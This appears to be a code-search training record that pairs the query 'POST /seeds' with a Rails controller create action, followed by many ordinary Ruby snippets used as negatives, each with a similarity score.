"def show\n @site = Site.find(params[:id])\n\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n \n end\n end",
"def wallet_new_seed_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.wallet_new_seed ...'\n end\n allowable_values = [\"128\", \"256\"]\n if @api_client.config.client_side_validation && opts[:'entropy'] && !allowable_values.include?(opts[:'entropy'])\n fail ArgumentError, \"invalid value for \\\"entropy\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/wallet/newSeed'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'entropy'] = opts[:'entropy'] if !opts[:'entropy'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#wallet_new_seed\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @feeds = Feed.all\n @feed = Feed.new\n end",
"def seed_posts(count)\n (1..count).map do\n post = Post.create!(title: Faker::Lorem.words(number: rand(2..10)).join(' '),\n content: Faker::Lorem.paragraphs(number: rand(2..8)).join(' '),\n user: User.create!(login: Faker::Name.unique.last_name))\n post.ratings.create!(rating: rand(1..5))\n post\n end\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def save_seed\n File.open(cache_file, 'w') do |file|\n file.puts MultiJson.dump(@seed)\n end\n true\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def seed_clients\n 10.times do |n|\n Client.create!({\n sex: %w(male female other).sample,\n year_of_birth: [*1950..2004].sample,\n cell_phone: fake_cell_phone,\n category_ids: [1, 2, 3, 4].sample\n })\n end\nend",
"def test_story_has_id\n Story.create(name: \"rando story name\")\n response = get \"/storyname\"\n json = JSON.parse(response.body)\n assert_equal true, json.first.has_key?(\"id\")\n end",
"def create_seeds_file\n return unless options[:seed]\n return if File.exist?(File.join(destination_root, \"db\", \"seeds.rb\"))\n\n say_quietly \"Creating db/seeds.rb file...\"\n\n create_file \"db/seeds.rb\"\n end",
"def show\n @generators = Generator.where(id: params[:id], user_id: current_user.id )\n end",
"def show\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @fixture }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end"
] |
[
"0.66954064",
"0.65464205",
"0.65351665",
"0.6390035",
"0.6312762",
"0.6297268",
"0.62802094",
"0.61740345",
"0.61054075",
"0.6058452",
"0.59903646",
"0.5814091",
"0.57290643",
"0.55555195",
"0.5509752",
"0.5461352",
"0.5428073",
"0.54011756",
"0.5346484",
"0.5337769",
"0.533253",
"0.533253",
"0.53270596",
"0.5310803",
"0.528825",
"0.5285852",
"0.51888484",
"0.5158379",
"0.5157384",
"0.51382744",
"0.5134762",
"0.5129774",
"0.5110198",
"0.5100711",
"0.5097338",
"0.5090618",
"0.5081664",
"0.50769204",
"0.5075043",
"0.5066921",
"0.50241166",
"0.5016194",
"0.5001151",
"0.4998178",
"0.49923047",
"0.49787372",
"0.49739873",
"0.4968244",
"0.49651304",
"0.49617246",
"0.49575648",
"0.49560928",
"0.49460158",
"0.49406403",
"0.49260646",
"0.49156737",
"0.49154946",
"0.49149784",
"0.49112722",
"0.4908125",
"0.49063918",
"0.48896545",
"0.48878023",
"0.48710865",
"0.48558518",
"0.48541763",
"0.48533365",
"0.48513004",
"0.48463297",
"0.48392653",
"0.48372293",
"0.48371488",
"0.48281085",
"0.48254433",
"0.4823337",
"0.48214534",
"0.48157617",
"0.4813998",
"0.48049715",
"0.4793268",
"0.47895405",
"0.4788725",
"0.47833258",
"0.47821426",
"0.47765374",
"0.47758693",
"0.4772076",
"0.4771676",
"0.47672275",
"0.47605863",
"0.47602037",
"0.4758716",
"0.4757382",
"0.4755288",
"0.4755174",
"0.47532636",
"0.475182",
"0.47514033",
"0.4751098",
"0.47505462",
"0.47483262"
] |
0.0
|
-1
|
POST /seeds or /seeds.json
|
def create
@seed = Seed.new(seed_params)
respond_to do |format|
if @seed.save
format.html { redirect_to @seed, notice: "Seed was successfully created." }
format.json { render :show, status: :created, location: @seed }
else
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @seed.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @seed = Seed.new(params[:seed])\n\n respond_to do |format|\n if @seed.save\n format.html { redirect_to @seed, notice: 'Seed was successfully created.' }\n format.json { render json: @seed, status: :created, location: @seed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end",
"def seed\n get(path: 'wallet/seed')\n end",
"def externalRecipeSeed\n 20.times do\n api_recipe = get_random_recipe()\n createRecipeFromAPI(api_recipe)\n end\nend",
"def generate_seed(object_type, id)\n @client.raw('get', \"/helpers/seeds/#{object_type}/#{id}\")\n end",
"def generate_seed(objectType, id)\n return @client.raw(\"get\", \"/helpers/seeds/#{objectType}/#{id}\")\n end",
"def seed_params\n params.require(:seed).permit(:seedId, :name, :state, :growth, :drought, :soil, :salt)\n end",
"def create\n render json: Post.create(params[\"post\"])\n end",
"def index\n @seeds = Seed.all\n end",
"def set_seed\n @seed = Seed.find(params[:id])\n end",
"def create\n #@visit = params[:visits]\n Visit.collection.insert_many(params[:visits]) #save to batch to database mongoid awesome\n \n end",
"def seed_posts(count)\n (1..count).map do\n post = Post.create!(title: Faker::Lorem.words(number: rand(2..10)).join(' '),\n content: Faker::Lorem.paragraphs(number: rand(2..8)).join(' '),\n user: User.create!(login: Faker::Name.unique.last_name))\n post.ratings.create!(rating: rand(1..5))\n post\n end\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/secrets/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"def seed_with_rest_client\n api = API.new\n raw_event_data = api.get_flatiron_events\n event_data = api.parse_event_information(raw_event_data)\n event_data.each do |event|\n Event.create(event)\n end\nend",
"def seed\n Story.delete_all\n Comment.delete_all\n 20.times do |n|\n story = Story.create!(\n title: Faker::Lorem.sentence,\n url: Faker::Internet.url,\n points: rand(-100..100),\n image: Faker::Avatar.image,\n created_at: Faker::Time.backward(14),\n )\n\n rand(0..10).times do |x|\n comment = story.comments.create!(\n body: Faker::Lorem.paragraph(2),\n points: rand(-100..100),\n )\n\n rand(0..3).times do |y|\n comment.replies.create!(\n body: Faker::Lorem.paragraph(rand(1..9)),\n points: rand(-10..10)\n )\n end\n end\n end\n redirect_to root_path\n end",
"def create\n s = Spooge.new()\n create_status = s.save\n n = generate_random_name\n s.name = n\n s.email = \"#{n}@gmail.com\"\n s.touch_date = DateTime.now\n s.status = STATUS[rand(STATUS.length)]\n\n resp = {:create_status => create_status, :record => s}\n render :json => resp\n end",
"def db_seed\n # Your code goes here!\nend",
"def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend",
"def save\n self.client.api_post(\"/feed\", self.create_params)\n end",
"def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end",
"def create\n res = self.class.post('/', body: attrs)\n res.created?\n end",
"def seed\n # get csv url from user\n @csv_url = params[:csv_url]\n @page_string = \"\"\n \n #functionality for user to input csv URL\n # require 'open-uri'\n # open(@csv_url) do |f|\n # @page_string = f.read\n # end\n \n # File.open('db/seeds_data/products.csv', 'w') do |file|\n # file << @page_string\n # end\n\n Rails.application.load_seed\n end",
"def create_article\n Article.create_random_article\n redirect_to articles_url\n end",
"def create\n post\n end",
"def seed_data\n ExpressTranslate.seeds\n puts \"Seed data is successful!\"\n end",
"def create\n HTTParty.post(create_url, :options => { :headers => HEADERS })\n end",
"def seed_banks\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/banks.json'))\n\tdata.each do |d|\n\t\tBank.create!(d)\n\tend\nend",
"def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end",
"def post\n RestClient.post(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def POST; end",
"def create\n @scratcher = Scratcher.new(permitted_params)\n\n if @scratcher.save\n render json: @scratcher, status: :created, location: @scratcher\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end",
"def create\n recipe = Recipe.create(recipe_params)\n render json: recipe\n end",
"def create\n @test = Test.create!(test_params)\n\n render json: @test\n end",
"def createRecipeFromAPI(randRecipe)\n # make a recipe obj to create for our DB\n recipe = Recipe.create(title: randRecipe[\"title\"], cookbook: Cookbook.all.sample, instructions: randRecipe[\"instructions\"])\n photo = Photo.create(recipe: recipe, img_url: randRecipe[\"image\"], description: \"test photo\")\n ingredients = randRecipe[\"extendedIngredients\"].map do |ing| \n ingredient = Ingredient.find_or_create_by(name: ing[\"name\"].titlecase)\n ri = RecipeIngredient.create(recipe: recipe, ingredient: ingredient, quantity: \"#{ing[\"amount\"]} #{ing[\"unit\"]}\")\n end\nend",
"def create\n \n #Rails.logger.debug(\"Hello Server #{session.inspect} current user #{current_user.id}\")\n \n \n @model = Feed.create(params[:feed].merge(:user_id => current_user.id))\n if @model.save\n render :json => @model.to_json\n else\n Rails.logger.debug(\"Hello Server #{@model.errors.full_messages}\")\n render :json => { :errors => @model.errors.full_messages }\n \n \n end\n end",
"def seed_roles\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/roles.json'))\n\tdata.each do |d|\n\t\tRole.create!(d)\n\tend\nend",
"def create\n @story = Story.create()\n url_string = Base64.encode64 @story.id.to_s\n \n story_id = @story.id\n render :json => story_id\n \n end",
"def run\n\t\t\tflush_database\n\t\t\tseed_countries\n\t\t\tseed_group_organizations\n\t\t\tseed_organizations\n\t\t\tseed_locations\n\t\t\tseed_admin\n\t\t\tseed_api_key\n\t\tend",
"def create_samples(n)\n n.times do |i|\n Post.create(title: \"New Post #{i}\", body: \"Body of post #{i}\", created_at: Time.now)\n end\nend",
"def create\n make_create_request\n end",
"def seed_refund_types\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/refund_types.json'))\n\tdata.each do |d|\n\t\tRefundType.create!(d)\n\tend\nend",
"def destroy\n @seed = Seed.find(params[:id])\n @seed.destroy\n\n respond_to do |format|\n format.html { redirect_to seeds_url }\n format.json { head :no_content }\n end\n end",
"def create\n collection = Collection.create(collection_params)\n\n render json: collection\n end",
"def seed_clients\n 10.times do |n|\n Client.create!({\n sex: %w(male female other).sample,\n year_of_birth: [*1950..2004].sample,\n cell_phone: fake_cell_phone,\n category_ids: [1, 2, 3, 4].sample\n })\n end\nend",
"def create\n PlaceVisit.collection.insert_many(params[:place_visits]) #save to batch to database mongoid awesome\n end",
"def create\n render json: Dish.create(dish_params)\n end",
"def index\n if params[:search].present?\n @seeds = Seed.order(:catalog_number).basic_search(params[:search]).page(params[:page])\n else\n @seeds = Seed.order(:catalog_number).page params[:page]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seeds }\n end\n end",
"def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(params = {})\n submit(base_url, :post, params)\n end",
"def index\n @run ||= Rails.application.load_seed\n\n # raw_url = \"https://developer.nps.gov/api/v1/parks?parkCode=#{PARKS.join(\",\")}&api_key=#{API_KEY}&limit=#{PARKS.size}\"\n # uri = URI.parse(raw_url)\n # response = Net::HTTP.get_response(uri)\n #\n # if response.code == \"200\"\n # puts \"SUCCESS RESPONSE\"\n # result = JSON.parse(response.body)\n #\n # result[\"data\"].each do |doc|\n # park = Park.new\n # park.name = doc[\"fullName\"]\n # park.park_code = doc[\"parkCode\"]\n # park.description = doc[\"description\"]\n # park.url = doc[\"url\"]\n # park.latitude = doc[\"latitude\"].to_f\n # park.longitude = doc[\"longitude\"].to_f\n # park.state = doc[\"states\"]\n # park.email = doc[\"contacts\"][\"emailAddresses\"]&[0]&[\"emailAddress\"]\n # park.phone = doc[\"contacts\"][\"phoneNumbers\"].find { |number| number[\"type\"] == \"Voice\" }\n # park.fax = doc[\"contacts\"][\"phoneNumbers\"].find { |number| number[\"type\"] == \"Voice\" }\n # park.directions = doc[\"directionsInfo\"]\n # park.directions_url = doc[\"directionsUrl\"]\n # park.weather = doc[\"weatherInfo\"]\n #\n # park.save!\n #\n # doc[\"entranceFees\"].each do |fee|\n # new_fee = Fee.new\n #\n # new_fee.title = fee[\"title\"]\n # new_fee.description = fee[\"description\"]\n # new_fee.cost = fee[\"cost\"]\n #\n # new_fee.park_id = park.id\n #\n # new_fee.save!\n # end\n #\n # doc[\"addresses\"].each do |address|\n # new_address = Address.new\n #\n # new_address.type = address[\"type\"]\n # new_address.line_1 = address[\"line1\"]\n # new_address.line_2 = address[\"line2\"]\n # new_address.city = address[\"city\"]\n # new_address.state = address[\"state\"]\n # new_address.postal_code = address[\"postalCode\"]\n #\n # new_address.park_id = park.id\n #\n # new_address.save!\n # end\n #\n # doc[\"images\"].each do |image|\n # new_image = Image.new\n #\n # new_image.title = image[\"title\"]\n # new_image.caption = image[\"caption\"]\n # new_image.alt_text = image[\"altText\"]\n # new_image.credit = image[\"credit\"]\n # new_image.url = image[\"url\"]\n #\n # new_image.park_id = park.id\n #\n # new_image.save!\n # end\n # end\n # else\n # puts 'BAD RESPONSE'\n # pp response\n # end\n\n @parks = Park.all\n\n end",
"def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end",
"def seed\n establish_connection(\n database_yaml_path: options.fetch('database_yaml'),\n environment: options.fetch('environment')\n )\n\n load_seeds\n end",
"def create\n user = current_user\n if params[:id]\n @recipe = Recipe.new(name: params[:name],\n description: params[:description],\n ingredients: params[:indredients],\n instructions: params[:instructions],\n servings: params[:servings],\n original_id: params[:id])\n else\n @recipe = Recipe.new(recipe_params)\n end\n user.recipes << @recipe\n if user.save\n render json: @recipe, status: :created\n else\n render json: {message: \"something went wrong\"}\n end\n end",
"def post(id, opts = {})\r\n uri = url_for(\"posts/#{id}\", opts)\r\n response = RestClient.get(uri)\r\n JSON.parse response\r\n end",
"def create\n @elector = Elector.new(elector_params)\n\n if @elector.save\n render json: @elector, status: :created, location: @elector\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end",
"def post\r\n end",
"def create\n @user_entry = UserEntry.new(user_entry_params)\n\n respond_to do |format|\n if @user_entry.save\n #byebug\n\n #seeding the random picks\n (1..8).each do |r|\n RandomPick.new({user_entry_id: @user_entry.id}).save\n end\n\n #seeding the suicide pick\n SuicidePick.new({user_entry_id: @user_entry.id}).save\n\n #seeding the game picks\n @user_entry.challenge.team_instances.each do |t|\n GamePick.new({user_entry_id: @user_entry.id, team_instance_id: t, round: 0}).save\n end\n\n format.html { redirect_to @user_entry, notice: 'User entry was successfully created.' }\n format.json { render :show, status: :created, location: @user_entry }\n else\n format.html { render :new }\n format.json { render json: @user_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def seed; end",
"def seed_db\n\n # Grab login page\n @agent.get(@@server + @@standings) do |login_page|\n \n # Login and fetch the standings page\n standings_page = do_login(login_page)\n \n # Get a link to a random bracket (the first one)\n bracket_link = \"\"\n standings_page.links.each do |link|\n next unless /(#{@@server})\\/(brackets)\\/\\d+\\/\\d+/.match(link.href)\n bracket_link = link.href\n break\n end\n\n # Pull in the regions, teams, and games from the bracket page and store them in the DB\n scrape_data_and_create_records(bracket_link)\n\n end \n\n end",
"def create\n @post = Post.create!(params[:post]) \n end",
"def post(url, params = {})\n client.post(url, params).body\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def create\n @article = Article.new(article_params)\n response = RestClient.get 'http://scraper:3000/api/get', { params: { url: @article.url } }\n scraped_article = JSON.parse(response.body)\n @article.update({\n :title => scraped_article['title'],\n :byline => scraped_article['byline'],\n :excerpt => scraped_article['excerpt'],\n :content_html => scraped_article['content'],\n :readerable => scraped_article['readerable'],\n :scraped_at => DateTime.now\n })\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @eventslist = Event.create_from_twitter\n \n redirect_to events_url\n \n end",
"def db_seed\n # Use faker gem to generate arrays with fake brands, product names, and prices.\n 10.times do\n # Create 10 new Product objects, and save them to the database\n Product.create name: Faker::Commerce.product_name, brand: Faker::Company.name, price: Faker::Commerce.price\n end\nend",
"def setup\n db = CouchRest.database!(\"http://127.0.0.1:5984/couchdb_test\")\n\n (1..@num_packs).each do |num_pack|\n elems = []\n (1..@num_items).each do |num_item|\n elems << { :name => Faker::Name.name, :tags => random_tags(), :created_at => Time.now() }\n end\n\n response = db.bulk_save(elems)\n puts response\n end\n\n end",
"def create_post\n begin\n #asks the user for the title, body, and whether it should be anonymous\n print \"Title: \"\n title = STDIN.gets.chomp\n print \"Body: \"\n body = STDIN.gets.chomp\n print \"Post as Anonymous? (y/n): \"\n anonymous = STDIN.gets.chomp.upcase == 'Y' ? true : false\n # check user information from login\n\n # Rails will reject this unless you configure the cross_forgery_request check to\n # a null_session in the receiving controller. This is because we are not sending\n # an authenticity token. Rails by default will only send the token with forms /users/new and\n # /users/1/edit and REST clients don't get those.\n # We could perhaps arrange to send this on a previous\n # request but we would then have to have an initial call (a kind of login perhaps).\n # This will automatically send as a multi-part request because we are adding a\n # File object.\n response = RestClient.post \"#{@@DOMAIN}/api/posts.json\",\n\n {\n post: {\n title: title,\n body: body,\n anonymous: anonymous\n },\n }, authorization_hash\n\n if (response.code == 201)\n puts \"Created successfully\"\n end\n puts \"URL for new resource: #{response.headers[:location]}\"\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @needed_seeds = current_user.needed_seeds\n end",
"def post(data = {})\n call data, method: :post\n end",
"def create\n puts params\n end",
"def post\n end",
"def create\n feed = Feed.new(:user_id => params[:user_id], :name => params[:name])\n if feed.save\n render :json => feed, :status => :created\n else\n render :json => {:ok => false, :message => feed.errors}, :status => :unprocessable_entity\n end\n end",
"def create\n deck_name = params[:name]\n @deck = Deck.create(:name => deck_name)\n\n SUITS.each do |suit| \n VALUES.each do |value| \n Card.create(:deck_id => @deck.id, :suit => suit, :value => value)\n end\n end\n\n render json: [@deck, @deck.cards] \n end",
"def create(data, &block)\n request :post, '', data, &block\n end",
"def create(data, &block)\n request :post, '', data, &block\n end",
"def seed(&block)\n raise 'Must provide a block' unless block_given?\n\n @@urls.clear\n @@docs.clear\n\n # &block populates the @@urls and @@docs arrays.\n instance_eval(&block)\n\n begin\n @@db.client[:urls].insert_many(@@urls) unless @@urls.empty?\n @@db.client[:documents].insert_many(@@docs) unless @@docs.empty?\n\n @@urls.count + @@docs.count\n rescue StandardError => e\n err_msg = e.respond_to?(:result) ? e.result['writeErrors'] : e.message\n raise \"Write to DB failed - remember that both urls and docs won't \\\naccept duplicate urls. Exception details: #{err_msg}\"\n end\n end",
"def create\n megam_rest.post_appdefn(to_hash)\n end",
"def post(*args)\n request(:post, *args)\n end",
"def create\n @deed = Deed.create(deed_params)\n\n if @deed.save\n render json: @deed, status: :created, location: @deed\n else\n render json: @deed.errors, status: :unprocessable_entity\n end\n end",
"def create(*args)\n post(*args)\n end",
"def create(*args)\n post(*args)\n end",
"def seed_all\n current_or_create_new_misc\n current_or_create_new_institutions\n current_or_create_new_williams_dining_opps\n current_or_create_new_williams_dining_places\n current_or_create_new_dining_opps\n seed_app_dining_periods\n seed_williams_rss_scraping\nend",
"def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend",
"def post(*args)\n request :post, *args\n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n post = Post.new\n post.title = params[:title]\n post.description = params[:description]\n post.save\n end",
"def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend",
"def create\n Like.create like_params\n redirect_to \"/secrets\"\n end",
"def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n Rentlinx.client.post(self)\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n @states = State.all\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def seed\n parse\n prepare_sql\n execute_sql\n end",
"def post; end"
] |
[
"0.67253774",
"0.5933517",
"0.592391",
"0.5874196",
"0.5856683",
"0.58493274",
"0.5819119",
"0.5773671",
"0.57360435",
"0.56752366",
"0.5611356",
"0.5610581",
"0.5600671",
"0.55956",
"0.5564088",
"0.5538085",
"0.5526484",
"0.5521559",
"0.5494464",
"0.5492317",
"0.5479191",
"0.54562634",
"0.5436172",
"0.5432712",
"0.54081213",
"0.53699034",
"0.5369382",
"0.5347276",
"0.53383625",
"0.53198624",
"0.5302409",
"0.53021663",
"0.5301605",
"0.52960855",
"0.5292305",
"0.5279676",
"0.5265772",
"0.5240272",
"0.52312654",
"0.52305305",
"0.5228684",
"0.522853",
"0.5227736",
"0.5223981",
"0.5223395",
"0.52230006",
"0.5221332",
"0.5220792",
"0.52182615",
"0.5211823",
"0.52097017",
"0.5204835",
"0.51855606",
"0.51822",
"0.518029",
"0.51778966",
"0.51758116",
"0.5169266",
"0.51658803",
"0.5159366",
"0.5155401",
"0.5147864",
"0.5144414",
"0.51416993",
"0.514163",
"0.51363415",
"0.5124774",
"0.51231337",
"0.5123095",
"0.5112634",
"0.5112498",
"0.51108766",
"0.5099097",
"0.50946075",
"0.50946075",
"0.5093542",
"0.50927323",
"0.50901675",
"0.5088028",
"0.50877774",
"0.50877774",
"0.508562",
"0.50849825",
"0.5083026",
"0.5081846",
"0.5081846",
"0.5081846",
"0.5081846",
"0.5081846",
"0.5081846",
"0.5081846",
"0.5081846",
"0.50772095",
"0.50680006",
"0.5066478",
"0.5060308",
"0.505704",
"0.50533485",
"0.5046144",
"0.5043091"
] |
0.66592985
|
1
|
PATCH/PUT /seeds/1 or /seeds/1.json
|
def update
respond_to do |format|
if @seed.update(seed_params)
format.html { redirect_to @seed, notice: "Seed was successfully updated." }
format.json { render :show, status: :ok, location: @seed }
else
format.html { render :edit, status: :unprocessable_entity }
format.json { render json: @seed.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_seed\n @seed = Seed.find(params[:id])\n end",
"def update\n @seed = Seed.find(params[:id])\n\n respond_to do |format|\n if @seed.update_attributes(params[:seed])\n format.html { redirect_to edit_seed_path, notice: 'Seed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def externalRecipeSeed\n 20.times do\n api_recipe = get_random_recipe()\n createRecipeFromAPI(api_recipe)\n end\nend",
"def generate_seed(objectType, id)\n return @client.raw(\"get\", \"/helpers/seeds/#{objectType}/#{id}\")\n end",
"def generate_seed(object_type, id)\n @client.raw('get', \"/helpers/seeds/#{object_type}/#{id}\")\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def seed\n get(path: 'wallet/seed')\n end",
"def create\n @seed = Seed.new(params[:seed])\n\n respond_to do |format|\n if @seed.save\n format.html { redirect_to @seed, notice: 'Seed was successfully created.' }\n format.json { render json: @seed, status: :created, location: @seed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_uri_seeds(value)\n @uri_seeds = value\n end",
"def create\n @seed = Seed.new(seed_params)\n\n respond_to do |format|\n if @seed.save\n format.html { redirect_to @seed, notice: \"Seed was successfully created.\" }\n format.json { render :show, status: :created, location: @seed }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def seeds_data\n rake(\"db:reload\")\n end",
"def update\n create\n end",
"def seed\n 1\nend",
"def update\n create\n end",
"def update\n create\n end",
"def index\n @seeds = Seed.all\n end",
"def run\n\t\t\tflush_database\n\t\t\tseed_countries\n\t\t\tseed_group_organizations\n\t\t\tseed_organizations\n\t\t\tseed_locations\n\t\t\tseed_admin\n\t\t\tseed_api_key\n\t\tend",
"def db_seed\n # Your code goes here!\nend",
"def set_research_seedbed\n @research_seedbed = ResearchSeedbed.find(params[:id])\n end",
"def seed_params\n params.require(:seed).permit(:seedId, :name, :state, :growth, :drought, :soil, :salt)\n end",
"def update \n sneaker = find_sneaker\n # update! exceptions will be handled by the rescue_from ActiveRecord::RecordInvalid code\n sneaker.update(sneaker_params)\n render json: sneaker\n end",
"def save_seed\n File.open(cache_file, 'w') do |file|\n file.puts MultiJson.dump(@seed)\n end\n true\n end",
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def seed; end",
"def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end",
"def seed\n establish_connection(\n database_yaml_path: options.fetch('database_yaml'),\n environment: options.fetch('environment')\n )\n\n load_seeds\n end",
"def update\n create\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def set_recipe\n @recipe = RecipeApi.find(params[:id])\n end",
"def seed\n 100.times do |i|\n u = User.new(name:\"#{SecureRandom.hex(4)}\",\n email:\"#{SecureRandom.hex(2)}@#{SecureRandom.hex(2)}.#{SecureRandom.hex(1)}\",\n password: \"a\",\n age: 21,\n coordinates: [(43.607+rand(-10..10)).round(6), (-79.708+rand(-10..10)).round(6)],\n tags: [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"].sample(2))\n rand(2..6).times do\n u.photos << Photo.new(path: \"essence#{rand(1..25)}.jpg\",\n tags: [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"].sample(2))\n end\n u.save!\n end\n user = User.first\n user.name = \"markpoon\"\n user.email = \"[email protected]\"\n user.password =\"some phrase\"\n user.save\nend",
"def show\n @seed = Seed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seed }\n end\n end",
"def load_seed; end",
"def load_seed; end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def destroy\n @seed = Seed.find(params[:id])\n @seed.destroy\n\n respond_to do |format|\n format.html { redirect_to seeds_url }\n format.json { head :no_content }\n end\n end",
"def update\n put :update\n end",
"def update\n @scratcher = Scratcher.find(params[:id])\n\n if @scratcher.update(permitted_params)\n head :no_content\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end",
"def seed_roles\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/roles.json'))\n\tdata.each do |d|\n\t\tRole.create!(d)\n\tend\nend",
"def save\n update({})\n end",
"def load_seeds(*files)\n env = Rails.env\n\n `cp -R ./spec/fixtures/seeds/#{env}/files ./spec/fixtures/db/seeds/#{env}`\n\n files.each do |file|\n `cp ./spec/fixtures/seeds/#{env}/#{file} ./spec/fixtures/db/seeds/#{env}`\n end\n\n yield\n\n `rm -R ./spec/fixtures/db/seeds/#{env}/files`\n\n files.each do |file|\n `rm ./spec/fixtures/db/seeds/#{env}/#{file}`\n end\nend",
"def update\n create_or_update\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update_recipe(db,id,description)\n # your code here\nend",
"def update!(**args)\n @generation_time = args[:generation_time] if args.key?(:generation_time)\n @id = args[:id] if args.key?(:id)\n end",
